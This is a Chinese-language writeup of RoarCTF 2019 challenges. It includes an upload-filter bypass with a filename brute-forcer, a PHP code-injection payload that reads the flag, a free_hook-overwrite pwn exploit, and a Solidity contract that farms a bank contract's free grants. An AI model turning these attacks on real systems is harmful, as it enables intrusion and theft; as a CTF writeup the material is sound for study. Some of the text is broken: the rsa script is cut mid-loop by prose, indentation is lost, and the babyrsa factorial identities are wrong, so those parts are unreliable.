楼上请让路 RoarCTF2019 Writeup

笔者《Qftm》原文发布:https://xz.aliyun.com/t/6576

Misc

签到题

RoarCTF{签到!!!}

黄金六年

文件尾部有一段base64,解码为16进制可以看到是一个压缩包

打开压缩包需要密码

使用pr抽帧

可以看到部分帧中有二维码,依次扫码即可得到key iwantplayctf

forensic

直接上volatility

建议profile,直接用Win7SP1x86就可以。

查看进程

volatility -f mem.raw pslist --profile=Win7SP1x86

可以看到存在以下几个值得注意的进程:

Dumpit.exe 一款内存镜像提取工具。

TrueCrypt.exe 一款磁盘加密工具。

Notepad.exe windows自带的记事本。

Mspaint,exe windows自带画图工具。

通过查看userassist可以发现notepad mspaint 在提取内存时在内存中并没有数据。查看用户Home目录的文件,可以发现有一个用户保存的图片文件

volatility -f mem.raw --profile=Win7SP1x86 filescan|grep -v Temporary |grep -v .dll|grep -E 'png|jpg|gif|zip|rar|7z|pdf'

把图片dump下来

通过查看桌面文件还可以发现dumpit.exe在桌面上,而dumpit.exe默认生成的文件是 {hash}.raw,默认保存路径是dumpit.exe所在的路径。

尝试dump 位于0x000000001fca1130位置的raw镜像,发现该文件还没有数据,因此判断取证的时候dumpit.exe还在运行中,dump下来dumpit.exe的内存镜像。

对dumpit.exe的内存镜像进行分析

猜测密码就是刚那张图片上的扭曲文字

不得不说,有几个位置很难辨认,比如第一个字符是数字1还是字母l还是字母I,那些大小写长得一样的是大写还是小写,中间那个是y还是g。直接上掩码爆破

ThankGame

用dnspy反编译,关键代码:

public static void WinGame()
  {
      if (!winGame && ((nDestroyNum == 4) || (nDestroyNum == 5)))
      {
          string str = "clearlove9";
          for (int i = 0; i < 0x15; i++)
          {
              for (int j = 0; j < 0x11; j++)
              {
                  str = str + MapState[i, j].ToString();
              }
          }
          if (Sha1(str) == "3F649F708AAFA7A0A94138DC3022F6EA611E8D01")
          {
              FlagText._instance.gameObject.SetActive(true);
              FlagText.str = "RoarCTF{wm-" + Md5(str) + "}";
              winGame = true;
          }
      }
  }

  public static string Md5(string str)
  {
      byte[] bytes = Encoding.UTF8.GetBytes(str);
      byte[] buffer2 = MD5.Create().ComputeHash(bytes);
      StringBuilder builder = new StringBuilder();
      foreach (byte num in buffer2)
      {
          builder.Append(num.ToString("X2"));
      }
      return builder.ToString().Substring(0, 10);
  }

  private void OnTriggerEnter2D(Collider2D collision)
  {
      int x = (int) collision.gameObject.transform.position.x;
      int y = (int) collision.gameObject.transform.position.y;
      switch (collision.tag)
      {
          case "Tank":
              if (!this.isPlayerBullect)
              {
                  collision.SendMessage("Die");
                  UnityEngine.Object.Destroy(base.gameObject);
              }
              break;
          case "Heart":
              MapManager.MapState[x + 10, y + 8] = 9;
              MapManager.nDestroyNum++;
              collision.SendMessage("Die");
              UnityEngine.Object.Destroy(base.gameObject);
              break;

          case "Enemy":
              if (this.isPlayerBullect)
              {
                  collision.SendMessage("Die");
                  UnityEngine.Object.Destroy(base.gameObject);
              }
              break;
          case "Wall":
              MapManager.MapState[x + 10, y + 8] = 8;
              MapManager.nDestroyNum++;
              UnityEngine.Object.Destroy(collision.gameObject);
              UnityEngine.Object.Destroy(base.gameObject);
              break;

          case "Barrier":
              if (this.isPlayerBullect)
              {
                  collision.SendMessage("PlayAudio");
              }
              UnityEngine.Object.Destroy(base.gameObject);
              break;
      }
  }

墙1替换成8,老家0替换成9,66个变量,4或5个位置需要变,首先爆破66 * 65 * 64 * 63,爆破出来了,计算md5得到前10字节,得到flag,细节如图:

Web

simple_upload

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
   public function index()
  {
       show_source(__FILE__);
  }
   public function upload()
  {
       $uploadFile = $_FILES['file'] ;
       
       if (strstr(strtolower($uploadFile['name']), ".php") ) {
           return false;
      }
       
       $upload = new \Think\Upload();// 实例化上传类
       $upload->maxSize  = 4096 ;// 设置附件上传大小
       $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
       $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
       $upload->savePath = '';// 设置附件上传子目录
       $info = $upload->upload() ;
       if(!$info) {// 上传错误提示错误信息
         $this->error($upload->getError());
         return;
      }else{// 上传成功 获取上传文件信息
         $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
         echo json_encode(array("url"=>$url,"success"=>1));
      }
  }
}

ThinkPHP默认上传文件名是递增的。 代码中ThinkPHP的后缀过滤无效,所以通过上传多个文件的方式,绕过.php后缀的判断,但是这样拿不到上传的文件名,需要爆破。 具体的步骤为:

1.写脚本上传一个正常文件,再上传多个文件,再上传一个正常文件。获取到第一三次上传的文件名。

import requests
url = "http://lo408dybroarctf.4hou.com.cn:34422/index.php/Home/Index/upload"

files1 = {'file': open('ma.txt','r')}
files2 = {'file[]': open('ma.php','r')}

r = requests.post(url,files=files1)
print(r.text)

r = requests.post(url,files=files2)
print(r.text)

r = requests.post(url,files=files1)
print(r.text)

2.多线程爆破一下第一三文件名之间的所有文件名。

这是最开始写的单线程爆破的脚本,后来觉得太累了,就拿开源扫描器dirfuzz改了一个多线程的版本。最终多线程爆破成功。

import requests

#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bb3645.txt","success":1}
#{"url":"\/Public\/Uploads\/","success":1}
#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bd6f0a.txt","success":1}


s = "1234567890abcdef"
for i in s:
for j in s:
for k in s:
for l in s:
url = "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc%s%s%s%s.php"%(i,j,k,l)
r = requests.get(url)
# print(url)
if r.status_code != 404:
print(url)
break
#[+]{"url": "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc7471.php", "status_code": 200, "data": "RoarCTF{wm-22522494528d3de9}\n"}

爆破到php文件,就可以直接读到flag。估计主办方有个脚本在后台一直跑改php文件。

easy_calc

这题首先进去发现是一个计算器的题目。

这道题是国赛的 love_math 的修改版,除去了长度限制,payload中不能包含' ', '\t', '\r', '\n',''', '"', '`', '[', ']' 等字符,不同的是网站加了waf,需要绕过waf。首先需要绕过waf,测试发现当我们提交一些字符时,会直接403,经测试发现存在服务器存在http走私漏洞,可以用来绕waf,详情见:https://paper.seebug.org/1048/

因为禁掉了一些字符,所以导致我们不能直接getflag,继续分析payload构造

这里用到几个php几个数学函数。

我们首先要构造列目录的payload,肯定要使用scandir函数,尝试构造列举根目录下的文件。scandir可以用base_convert函数构造,但是利用base_convert只能解决a~z的利用,因为根目录需要/符号,且不在a~z,所以需要hex2bin(dechex(47))这种构造方式,dechex() 函数把十进制数转换为十六进制数。hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

构造读取flag,使用readfile函数,paload:base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36)),方法类似

easy_java

这道进去首先想到的就是任意文件下载,但是刚开始用GET方式一直什么都下载不了,连网站确定目录的图片都下不了。后来修改为post,可以了。。。

尝试读取WEB-INF/web.xml发现操作flag的关键文件位置

将图中base64解码即flag。

Re

polyre

使用 deflat.py 脱去控制流平坦化,加密算法大致是:输入 48,平分 6 组,将每组 8 字节转化为 long 类型的值,对每组进行加密,先判断正负,然后将值乘 2,随后根据正负异或 0xB0004B7679FA26B3,循环 64 次,最后进行比较;按照这个逻辑写逆运算就可以了,逆运算见 depoly.py

origin = [0xbc8ff26d43536296,
          0x520100780530ee16,
          0x4dc0b5ea935f08ec,
          0x342b90afd853f450,
          0x8b250ebcaa2c3681,
          0x55759f81a2c68ae4]
key = 0xB0004B7679FA26B3
data = ""

for value in origin:
    for i in range(0, 64):
        tail = value & 1
        if tail == 1:
            value = value ^ key
        value = value // 2
        if tail == 1:
            value = value | 0x8000000000000000
        #print(hex(value))
    # end for
    print(hex(value))
    j = 0
    while (j < 8):
        data += chr(value & 0xFF)
        value = value >> 8
        j += 1
    # end while
#end for
print(data)

Pwn

ez_op

payload:

#!/usr/bin/env python3
# -*- coding=utf-8 -*-

from pwn import *

system_addr = 0x08051C60
hook_free = 0x080E09F0

# opcdoe
opcode = ""

# get stack_addr
opcode += """\
push 5
stack_load\
"""

# sub hook_free
opcode += f"""\
push {hook_free}
sub\ 
"""

# value / 4 + 1
opcode += """\
push 4
div
push 1
add\
"""

# *hook_free = system_addr
opcode += f"""\
push {system_addr}
stack_set\
"""
opcode = f"""\
push {0x6e69622f}
push {0x68732f}
push {system_addr}
push 1
push 4
push 64
stack_load
push {hook_free}
sub
div
sub
stack_set\
"""
OPCODET = {
  "push": 0x2a3d,
  "add": 0,
  "sub": 0x11111,
  "div": 0x514,
  "stack_set": 0x10101010,
  "stack_load": -1
}
opcode_list = opcode.split("\n")
op_result = []
num_result = []
for op in opcode_list:
  tmp = op.split(" ")
  assert tmp[0] in OPCODET
  op_result.append(str(OPCODET[tmp[0]]))
  if len(tmp) == 2:
      num_result.append(str(tmp[1]))

result_op = " ".join(op_result)
result_num = " ".join(num_result)

print(result_op)
print(result_num)

Crypto

babyrsa

一个数学结论:对于一个素数p来说,(p-1)的阶乘加上(p-2)的阶乘等于p乘以(p-2)的阶乘,能被p整除,(p-1)的阶乘除以p余p-1(因为p的阶乘能被p整除)就是:

(p-1)!+(p-2)!=p*(p-2)  
(p-1)!=p*(p-1)
(p-2)! % p=1

解密脚本如下:

import sympy
from Crypto.Util.number import long_to_bytes
def egcd(a,b):
    if a==0:
        return (b,0,1)
    else:
        g,y,x=egcd(b%a,a)
        return (g,x-(b//a)*y,y)
def modinv(a,m):
    g,x,y=egcd(a,m)
    if g!=1:
        raise Exception(" error")
    else:
        return x%m
a1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
b1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596
a2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
b2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026
n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
c=75700883021669577739329316795450706204502635802310731477156998834710820770245219468703245302009998932067080383977560299708060476222089630209972629755965140317526034680452483360917378812244365884527186056341888615564335560765053550155758362271622330017433403027261127561225585912484777829588501213961110690451987625502701331485141639684356427316905122995759825241133872734362716041819819948645662803292418802204430874521342108413623635150475963121220095236776428
p=1
q=1
i=1
l=0
for i in range(b1+1,a1-1):
    p *= modinv(i,a1)
    p %=a1
p=sympy.nextprime(p)
print "p="
print p
for i in range(b2+1,a2-1):
    q *=modinv(i,a2)
    q %=a2
q=sympy.nextprime(q)
print "q="
print q
r=n/q/p
print "r="
print r
fn=(p-1)*(q-1)*(r-1)
print "fn="
print fn
e=4097
d=modinv(e,fn)
print "d="
print d
m=pow(c,d,n)
print "m="
print m
print long_to_bytes(m)

区块链1

做题的时候发现已经有人做出来了,然后去看做出来人的交易记录,发现是薅羊毛,通过逆向做出来人的记录,照抄了一个,payload合约如下:

/**
*Submitted for verification at Etherscan.io on 2019-10-08
*/

pragma solidity ^0.4.24;

contract P_Bank
{
  mapping (address => uint) public balances;
   
  uint public MinDeposit = 0.1 ether;
   
  Log TransferLog;
  event FLAG(string b64email, string slogan);
  constructor(address _log) public { 
      TransferLog = Log(_log);
    }
  function Ap() public {
      if(balances[msg.sender] == 0) {
          balances[msg.sender]+=1 ether;
      }
  }
  function Transfer(address to, uint val) public {
      if(val > balances[msg.sender]) {
          revert();
      }
      balances[to]+=val;
      balances[msg.sender]-=val;
  }
  function CaptureTheFlag(string b64email) public returns(bool){
    require (balances[msg.sender] > 500 ether);
    emit FLAG(b64email, "Congratulations to capture the flag!");
  }
  function Deposit()
  public
  payable
  {
      if(msg.value > MinDeposit)
      {
          balances[msg.sender]+= msg.value;
          TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
      }
  }
   
  function CashOut(uint _am) public 
  {
      if(_am<=balances[msg.sender])
      {
           
          if(msg.sender.call.value(_am)())
          {
              balances[msg.sender]-=_am;
              TransferLog.AddMessage(msg.sender,_am,"CashOut");
          }
      }
  }
   
  function() public payable{}    
   
}

contract Log 
{
  
  struct Message
  {
      address Sender;
      string Data;
      uint Val;
      uint Time;
  }
  string err = "CashOut";
  Message[] public History;
  Message LastMsg;
  function AddMessage(address _adr,uint _val,string _data)
  public
  {
      LastMsg.Sender = _adr;
      LastMsg.Time = now;
      LastMsg.Val = _val;
      LastMsg.Data = _data;
      History.push(LastMsg);
  }
}
contract FatherOwned {
  address owner;
  modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}
contract Attack
{
  address owner;
  P_Bank target;
  constructor(address my) public { 
      owner = my;
      target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
      target.Ap();
      target.Transfer(owner, 1 ether);
      selfdestruct(owner);
    }
}
contract Deploy is FatherOwned
{
  constructor() public { 
      owner = msg.sender;
    }
    function getflag() public onlyOwner {
        P_Bank target;
        target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
        target.CaptureTheFlag("baiyjrh@gmail.com");
    }
    function ffhhhhhhtest1() public onlyOwner {
    uint i;
    for (i=0; i<10; i++){
        new Attack(owner);
    }
    }
    function ffhhhhhhtest2() public onlyOwner {
    uint i;
    for (i=0; i<30; i++){
        new Attack(owner);
         
    }
  }
    function ffhhhhhhtest3() public onlyOwner {
    uint i;
    for (i=0; i<50; i++){
        new Attack(owner);
    }
  }
  function ffhhhhhhtest4() public onlyOwner {
    uint i;
    for (i=0; i<70; i++){
        new Attack(owner);
         
    }
  }
}

智能合约2

给的源码和实际的不一样,同样了看了下之前做出来的人的交易,发现了一个函数:0x5ad0ae39

逆向一下得到大概代码:

func 0x5ad0ae39(address1, address2, uint, address3)
  require(allowance[address1][msg.sender] >= uint)
  require(address3 == msg.sender + 0x32c3edb)
  balanceOf[address1] -= _value;
  balanceOf[address2] += _value;
  allowance[address1][msg.sender] -= _value;
然后在标准token的sol里面有一个函数:
function approve(address _spender, uint256 _value) public returns (bool) {
  allowed[msg.sender][_spender] = _value;
  Approval(msg.sender, _spender, _value);
  return true;
}

通过approve函数给allowance[msg.sender][msg.sender]赋值,随便大于1000的值就行。

然后调用0x5ad0ae39,这里就比较蛋疼了,因为爆破不出这个函数名,没法直接用remix做题,没办法只能写代码了。

过程如图:

rsa

根据题目文件可知:

A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
p=next_prime(z*x*y)
q=next_prime(z)
n=p*q

直接爆破A方程可得 x*y=166。(一个是2一个是83,懒得重新写脚本了很好爆。)

然后可得

p=next_prime(z*166)
q=next_prime(z)

可以推断出,n和z z 166的值相对来说是距离比较近的,根据next_prime可以推测出sqrt(n/166)的值和p和q的其中一个是很接近的,爆破即可。

py2 :

import sympy
import gmpy2
n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
#m是n/166的开放根,和p q 中的一个距离很近
m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029)
m2=842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029*166
k=m
p=0
q=0
while (m>10000):
    if(n%m==0):
        #print (m) A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
根据方程可以直接算出x和y
a=2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
x=1
y=1
n=0
c=0
d=0
for x in range(1,100):
   for y in range(2,100):
       c=(y+1)/x
       d=x%y
       if(d!=0):
           n=(((y%x)**5)%d)**2019+y**316+c
       if(n==a):
            print (x)
            print (y)

可得x=2 y=83

p=next_prime(z x y)

q=next_prime(z)

n=q*p

因此可以猜测n和(z x y) z的值也是很接近的,也就是n和z^2 166是很接近的,那么sqrt(n/166)和q是很接近的。所以从sqrt(n/166)附近查找prime。

e是未知的,但是e的取值范围相对是小的,直接猜或者爆破,结果可知e为65537.

解密脚本

import sympy
import math
import binascii
from Crypto.Util.number import long_to_bytes
n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
#m即是sqrt(n/166)的近似值
m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029)
c=86974685960185109994565885227776590430584975317324687072143606337834618757975096133503732246558545817823508491829181296701578862445122140544748432956862934052663959903364809344666885925501943806009045214347928716791730159539675944914294533623047609564608561054087106518420308176681346465904692545308790901579479104745664756811301111441543090132246542129700485721093162972711529510721321996972649182594310700996042178757282311887765329548031672904349916667094862779984235732091664623511790424370705655016549911752412395937963400908229932716593592702387850259325784109798223415344586624970470351548381110529919234353
p=0
q=0
#从m附近查找q或p
while(m>100):
    if(n%m==0):
        p=m
        print "p="
        print p
        q=n/p
        print "q=" 
        print q
        break
    m=sympy.nextprime(m)
def egcd(a,b):
    if a==0:
        return (b,0,1)
    else:
        g,y,x=egcd(b%a,a)
        return (g,x-(b//a)*y,y)
def modinv(a,m):
    g,x,y=egcd(a,m)
    if g!=1:
        raise Exception(" error")
    else:
        return x%m
e=1
d=0
#爆破e
while(e<100000):
    #try:
    #e=sympy.nextprime(e)
    e=65537 #最后爆破成功的e
    d=modinv(e,(p-1)*(q-1))
    m=pow(c,d,n)
    print long_to_bytes(m)
    m_hex = hex(m)[2:]
   # try:    
    print m_hex
    print("ascii:\n%s"%(binascii.a2b_hex(m_hex).decode("utf8"),))
   # except:
    #    if(e%10000==0):
     #       print e

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